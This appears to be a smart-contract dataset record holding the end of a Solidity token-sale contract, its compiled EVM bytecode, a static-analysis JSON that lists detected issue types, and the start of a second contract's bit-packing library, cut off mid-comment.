msg.sender; funderCount = funderCount.add(1); orders[msg.sender].state = eOrderstate.NONE; } orders[msg.sender].paymentEther = orders[msg.sender].paymentEther.add(amount); orders[msg.sender].reservedToken = orders[msg.sender].reservedToken.add(token); receivedEther = receivedEther.add(amount); soldToken = soldToken.add(token); ReservedToken(msg.sender, amount, token, curBonusRate); } } contract AcrePresale is AcreSale { function AcrePresale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) AcreSale( _sendEther, _softCapToken, _hardCapToken, _addressOfTokenUsedAsReward) public { } function startPresale() onlyManagers public { startSale(PRESALE_DURATION_TIME); } function getCurrentBonusRate() public constant returns(uint8 bonusRate) { if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 30; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(15, TIME_FACTOR))) { bonusRate = 25; } // 8days else { bonusRate = 0; } // } } contract AcreCrowdsale is AcreSale { function AcreCrowdsale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) AcreSale( _sendEther, _softCapToken, _hardCapToken, _addressOfTokenUsedAsReward) public { } function startCrowdsale() onlyManagers public { startSale(CROWDSALE_DURATION_TIME); } function getCurrentBonusRate() public constant returns(uint8 bonusRate) { if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 20; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(14, TIME_FACTOR))) { bonusRate = 15; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(21, TIME_FACTOR))) { bonusRate = 10; } // 7days else { bonusRate = 0; } // } }
0x6060604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101d257806306fdde0314610235578063095ea7b3146102c35780630df19d351461031d57806317c201a11461036e57806318160ddd146103975780631c58c3ff146103c057806323b872dd146103e957806325ba082414610462578063313ce567146104b357806335e04fab146104e25780633f4ba83a1461053757806342966c68146105645780634e2808da1461059f57806354fd4d50146105cc5780635c975abb1461065a57806370a08231146106875780637493357b146106d4578063788649ea146107295780638456cb591461077a5780638bec5b31146107a75780638da5cb5b146107f857806395d89b411461084d5780639b7e5531146108db5780639ef7e72314610904578063a9059cbb1461093f578063afd7b21e14610999578063b414d4b6146109ee578063bf48780114610a3f578063bf88fc0914610a68578063c4dcad1d14610ab9578063cae9ca5114610b13578063cbf9fe5f14610bb0578063d5d1e77014610bfd578063dd62ed3e14610c2a578063f26c159f14610c96575b34156101cd57600080fd5b600080fd5b34156101dd57600080fd5b6101f36004808035906020019091905050610ce7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561024057600080fd5b610248610d26565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028857808201518184015260208101905061026d565b50505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102ce57600080fd5b610303600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dc4565b604051808215151515815260200191505060405180910390f35b341561032857600080fd5b610354600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eb6565b604051808215151515815260200191505060405180910390f35b341561037957600080fd5b61038161101f565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa611038565b6040518082815260200191505060405180910390f35b34156103cb57600080fd5b6103d361103e565b6040518082815260200191505060405180910390f35b34156103f457600080fd5b610448600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611044565b604051808215151515815260200191505060405180910390f35b341561046d57600080fd5b610499600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110c8565b604051808215151515815260200191505060405180910390f35b34156104be57600080fd5b6104c66111f9565b604051808260ff1660ff16815260200191505060405180910390f35b34156104ed57600080fd5b6104f561120c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561054257600080fd5b61054a611232565b604051808215151515815260200191505060405180910390f35b341561056f57600080fd5b61058560048080359060200190919050506112b1565b604051808215151515815260200191505060405180910390f35b34156105aa57600080fd5b6105b261141c565b604051808215151515815260200191505060405180910390f35b34156105d757600080fd5b6105df6115bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561061f578082015181840152602081019050610604565b50505050905090810190601f16801561064c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561066557600080fd5b61066d61165b565b604051808215151515815260200191505060405180910390f35b341561069257600080fd5b6106be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061166e565b6040518082815260200191505060405180910390f35b34156106df57600080fd5b6106e7611686565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561073457600080fd5b610760600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116ac565b604051808215151515815260200191505060405180910390f35b341561078557600080fd5b61078d6117ce565b604051808215151515815260200191505060405180910390f35b34156107b257600080fd5b6107de600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061184e565b604051808215151515815260200191505060405180910390f35b341561080357600080fd5b61080b6119c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561085857600080fd5b6108606119ec565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108a0578082015181840152602081019050610885565b50505050905090810190601f1680156108cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156108e657600080fd5b6108ee611a8a565b6040518082815260200191505060405180910390f35b341561090f57600080fd5b6109256004808035906020019091905050611a90565b604051808215151515815260200191505060405180910390f35b341561094a57600080fd5b61097f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b09565b604051808215151515815260200191505060405180910390f35b34156109a457600080fd5b6109ac611b1e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109f957600080fd5b610a25600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b44565b604051808215151515815260200191505060405180910390f35b3415610a4a57600080fd5b610a52611b64565b6040518082815260200191505060405180910390f35b3415610a7357600080fd5b610a9f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bab565b604051808215151515815260200191505060405180910390f35b3415610ac457600080fd5b610af9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611cca565b604051808215151515815260200191505060405180910390f35b3415610b1e57600080fd5b610b96600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611ed4565b604051808215151515815260200191505060405180910390f35b3415610bbb57600080fd5b610be7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612052565b6040518082815260200191505060405180910390f35b3415610c0857600080fd5b610c1061206a565b604051808215151515815260200191505060405180910390f35b3415610c3557600080fd5b610c80600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061227d565b6040518082815260200191505060405180910390f35b3415610ca157600080fd5b610ccd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122a2565b604051808215151515815260200191505060405180910390f35b600381815481101515610cf657fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dbc5780601f10610d9157610100808354040283529160200191610dbc565b820191906000526020600020905b815481529060010190602001808311610d9f57829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1357600080fd5b610f1c826123da565b151515610f2857600080fd5b610f3e42610f3961016d603c612443565b612471565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fbc03179a8711ad181a058ca7cf3b3a2282ee895a7a0e8b59fa9ab0e68896b08e42600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a260019050919050565b6000600f54601260ff16600a0a6317d784000203905090565b60095481565b600f5481565b6000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561109f57600080fd5b6110a83361248a565b1515156110b457600080fd5b6110bf8484846124e3565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112557600080fd5b61112e82612712565b15151561113a57600080fd5b6111426127b5565b151561114d57600080fd5b816003611158612857565b81548110151561116457fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f919c482a4dd37fda2e912a8aa250c86cd33baba7516f7f5638fc6f6c16b22f2e60405160405180910390a260019050919050565b600860009054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061123d336123da565b151561124857600080fd5b600460009054906101000a900460ff16151561126357600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a16001905090565b60006112bc336123da565b15156112c757600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561131557600080fd5b61136782600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fb90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113bf826009546128fb90919063ffffffff16565b6009819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156114d757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fe2277a5d491de0973631724d3cbb5e0deb5250f2be0c90ea6da7a7e4605f90ed60405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116535780601f1061162857610100808354040283529160200191611653565b820191906000526020600020905b81548152906001019060200180831161163657829003601f168201915b505050505081565b600460009054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006116b7336123da565b15156116c257600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561171a57600080fd5b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f67a17b8db8ff8fa7cff69c2328bf8a35f9be2c88abeea30be900fc28eece28ed6000604051808215151515815260200191505060405180910390a260019050919050565b60006117d9336123da565b15156117e457600080fd5b600460009054906101000a900460ff1615151561180057600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a16001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ab57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156118e757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb9d0640e2e3344df282774dc44aa75a92a82ed65bde71b2709d7204f84ac45a260405160405180910390a381600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119b8426119b36007603c612443565b612471565b60028190555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a825780601f10611a5757610100808354040283529160200191611a82565b820191906000526020600020905b815481529060010190602001808311611a6557829003601f168201915b505050505081565b60025481565b6000611a9b336123da565b1515611aa657600080fd5b611ab1303384612914565b503373ffffffffffffffffffffffffffffffffffffffff167f016e3a850a4f06be16aa0dac4a8c27d00e2faa8d29885100060689b83e9eb161836040518082815260200191505060405180910390a260019050919050565b6000611b16338484612914565b905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b6000600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0857600080fd5b611c1182612712565b1515611c1c57600080fd5b60006003611c2984612a32565b815481101515611c3557fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f20ae3218a3a98f7a99bbd57af90761b7381c8f619711d6ea8957307b8187bb8960405160405180910390a260019050919050565b6000611cd5336123da565b1515611ce057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611d1c57600080fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611d7557600080fd5b611d7e8361248a565b151515611d8a57600080fd5b601260ff16600a0a6317d7840002611da4600f5484612471565b11151515611db157600080fd5b611e0382600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247190919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e5b8260095461247190919063ffffffff16565b600981905550611e7682600f5461247190919063ffffffff16565b600f819055508273ffffffffffffffffffffffffffffffffffffffff167f018fcd48e9348b03d9e2de4c29cc44432546c25284800bf120de08c24055f1c4836040518082815260200191505060405180910390a26001905092915050565b600080849050611ee48585610dc4565b15612049578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611fde578082015181840152602081019050611fc3565b50505050905090810190601f16801561200b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561202c57600080fd5b6102c65a03f1151561203d57600080fd5b5050506001915061204a565b5b509392505050565b60056020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561212557600080fd5b6002544211151561213557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff7a7c6dfc945c251279bd8e18228204503dce1aefd05229cc80ebc48057d649a60405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b600b602052816000526040600020602052806000526040600020600091509150505481565b60006122ad336123da565b15156122b857600080fd5b6122c1826123da565b1515156122cd57600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561232657600080fd5b6001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f67a17b8db8ff8fa7cff69c2328bf8a35f9be2c88abeea30be900fc28eece28ed6001604051808215151515815260200191505060405180910390a260019050919050565b60006123e582612712565b8061243c57508173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b600081830290506000831480612463575081838281151561246057fe5b04145b151561246b57fe5b92915050565b6000818301905082811015151561248457fe5b92915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156124dd57600190506124de565b5b919050565b6000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561257057600080fd5b6125ff82600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fb90919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268a848484612914565b503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f5f7542858008eeb041631f30e6109ae94b83a58e9a58261dd2c42c508850f939856040518082815260200191505060405180910390a4600190509392505050565b600080600090505b600560ff168160ff1610156127ae578273ffffffffffffffffffffffffffffffffffffffff1660038260ff1681548110151561275257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156127a357600191506127af565b80600101905061271a565b5b50919050565b600080600090505b600560ff168160ff16101561285257600073ffffffffffffffffffffffffffffffffffffffff1660038260ff168154811015156127f657fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156128475760019150612853565b8060010190506127bd565b5b5090565b600080600090505b600560ff168160ff1610156128f657600073ffffffffffffffffffffffffffffffffffffffff1660038260ff1681548110151561289857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156128eb578060ff1691506128f7565b80600101905061285f565b5b5090565b600082821115151561290957fe5b818303905092915050565b600061291f336123da565b151561294257600460009054906101000a900460ff1615151561294157600080fd5b5b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561299b57600080fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156129f457600080fd5b6129fd8461248a565b151515612a0957600080fd5b612a128361248a565b151515612a1e57600080fd5b612a29848484612ad7565b90509392505050565b600080600090505b600560ff168160ff161015612ad0578273ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612a7257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612ac5578060ff169150612ad1565b806001019050612a3a565b5b50919050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515612b1657600080fd5b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612b6457600080fd5b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bed600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485612471565b111515612bf957600080fd5b612c81600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612471565b9050612cd583600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fb90919063ffffffff16565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d6a83600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247190919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a380612e9b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612471565b141515612ea457fe5b600191505093925050505600a165627a7a7230582077efe26c5e9716243807a23391925cc6ad38e7cca16a487b807fe3346d7bafaf0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
3,645
0x9C48718ff7556A4E82A7f76f11878628138079d2
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; library HodlLib { // The packed hodl item makes heavy use of bit packing // to minimize storage costs. struct PackedHodlItem { // Contains the fields of a packed `UnpackedHodlItem`. See the struct definition // below for more information. uint256 packedData; // // Mostly zero // // The creator address is only set if different than the `prpsBeneficiary`. address creator; // The dubiBeneficiary is only set if different than the `prpsBeneficiary`. address dubiBeneficiary; uint96 pendingLockedPrps; } // The unpacked hodl item contains the unpacked data of an hodl item from storage. // It minimizes storage reads, since only a single read from storage is necessary // in most cases to access all relevant data. // // NOTE: The bit-sizes of the fields are rounded up to the nearest Solidity type. struct UnpackedHodlItem { // The id of the hodl item is actually a uint20, but stored in a uint24 for // technical reasons. Allows for 2^20 = 1_048_576 hodls per address // Actual size: uint20 uint24 id; // The hodl duration is stored using 9 bits and measured in days. // Technically, allowing for 2^9 = 512 days, but we cap it to 365 days. // In the remaining 3 bytes several 1-bit flags are stored like: // `hasDependentHodlOp` and `hasPendingLockedPrps`, etc. // Actual size: uint12 uint16 duration; UnpackedFlags flags; // The last withdrawal timestamp in unix seconds (block timestamp). Defaults to // the creation date of the hodl. uint32 lastWithdrawal; // Storing the PRPS amount in a uint96 still allows to lock up to ~ 7 billion PRPS // which is plenty enough. uint96 lockedPrps; uint96 burnedLockedPrps; } struct UnpackedFlags { // True, if creator is not the PRPS beneficiary bool hasDifferentCreator; // True, if DUBI beneficiary is not the PRPS beneficiary bool hasDifferentDubiBeneficiary; bool hasDependentHodlOp; bool hasPendingLockedPrps; } // Struct that contains all unpacked data and the additional almost-always zero fields from // the packed hodl item - returned from `getHodl()` to be more user-friendly to consume. struct PrettyHodlItem { uint24 id; uint16 duration; UnpackedFlags flags; uint32 lastWithdrawal; uint96 lockedPrps; uint96 burnedLockedPrps; address creator; address dubiBeneficiary; uint96 pendingLockedPrps; } /** * @dev Pack an unpacked hodl item and return a uint256 */ function packHodlItem(UnpackedHodlItem memory _unpackedHodlItem) internal pure returns (uint256) { // // Allows for 2^20 = 1_048_576 hodls per address // uint20 id; // // The hodl duration is stored using 9 bits and measured in days. // Technically, allowing for 2^9 = 512 days, but we only need 365 days anyway. // uint9 durationAndFlags; // // Followed by 4 bits to hold 4 flags: // - `hasDifferentCreator` // - `hasDifferentDubiBeneficiarys` // - `hasDependentHodlOp` // - `hasPendingLockedPrps` // // The last withdrawal timestamp in unix seconds (block timestamp). Defaults to // the creation date of the hodl and uses 31 bits: // uint31 lastWithdrawal // // The PRPS amounts are stored in a uint96 which can hold up to ~ 7 billion PRPS // which is plenty enough. // uint96 lockedPrps; // uint96 burnedLockedPrps; // // Build the packed data according to the spec above. uint256 packedData; uint256 offset; // 1) Set first 20 bits to id // Since it is stored in a uint24 AND it with a bitmask where the first 20 bits are 1 uint24 id = _unpackedHodlItem.id; uint24 idMask = (1 << 20) - 1; packedData |= uint256(id & idMask) << offset; offset += 20; // 2) Set next 9 bits to duration. // Since it is stored in a uint16 AND it with a bitmask where the first 9 bits are 1 uint16 duration = _unpackedHodlItem.duration; uint16 durationMask = (1 << 9) - 1; packedData |= uint256(duration & durationMask) << offset; offset += 9; // 3) Set next 31 bits to withdrawal time // Since it is stored in a uint32 AND it with a bitmask where the first 31 bits are 1 uint32 lastWithdrawal = _unpackedHodlItem.lastWithdrawal; uint32 lastWithdrawalMask = (1 << 31) - 1; packedData |= uint256(lastWithdrawal & lastWithdrawalMask) << offset; offset += 31; // 4) Set the 4 flags in the next 4 bits after lastWithdrawal. UnpackedFlags memory flags = _unpackedHodlItem.flags; if (flags.hasDifferentCreator) { // PRPS beneficiary is not the creator packedData |= 1 << (offset + 0); } if (flags.hasDifferentDubiBeneficiary) { // PRPS beneficiary is not the DUBI beneficiary packedData |= 1 << (offset + 1); } if (flags.hasDependentHodlOp) { packedData |= 1 << (offset + 2); } if (flags.hasPendingLockedPrps) { packedData |= 1 << (offset + 3); } offset += 4; // 5) Set next 96 bits to locked PRPS // We don't need to apply a bitmask here, because it occupies the full 96 bit. packedData |= uint256(_unpackedHodlItem.lockedPrps) << offset; offset += 96; // 6) Set next 96 bits to burned locked PRPS // We don't need to apply a bitmask here, because it occupies the full 96 bit. packedData |= uint256(_unpackedHodlItem.burnedLockedPrps) << offset; offset += 96; assert(offset == 256); return packedData; } /** * @dev Unpack a packed hodl item. */ function unpackHodlItem(uint256 packedData) internal pure returns (UnpackedHodlItem memory) { UnpackedHodlItem memory _unpacked; uint256 offset; // 1) Read id from the first 20 bits uint24 id = uint24(packedData >> offset); uint24 idMask = (1 << 20) - 1; _unpacked.id = id & idMask; offset += 20; // 2) Read duration from the next 9 bits uint16 duration = uint16(packedData >> offset); uint16 durationMask = (1 << 9) - 1; _unpacked.duration = duration & durationMask; offset += 9; // 3) Read lastWithdrawal time from the next 31 bits uint32 lastWithdrawal = uint32(packedData >> offset); uint32 lastWithdrawalMask = (1 << 31) - 1; _unpacked.lastWithdrawal = lastWithdrawal & lastWithdrawalMask; offset += 31; // 4) Read the 4 flags from the next 4 bits UnpackedFlags memory flags = _unpacked.flags; flags.hasDifferentCreator = (packedData >> (offset + 0)) & 1 == 1; flags.hasDifferentDubiBeneficiary = (packedData >> (offset + 1)) & 1 == 1; flags.hasDependentHodlOp = (packedData >> (offset + 2)) & 1 == 1; flags.hasPendingLockedPrps = (packedData >> (offset + 3)) & 1 == 1; offset += 4; // 5) Read locked PRPS from the next 96 bits // We don't need to apply a bitmask here, because it occupies the full 96 bit. _unpacked.lockedPrps = uint96(packedData >> offset); offset += 96; // 5) Read burned locked PRPS from the next 96 bits // We don't need to apply a bitmask here, because it occupies the full 96 bit. _unpacked.burnedLockedPrps = uint96(packedData >> offset); offset += 96; assert(offset == 256); return _unpacked; } //--------------------------------------------------------------- // Pending 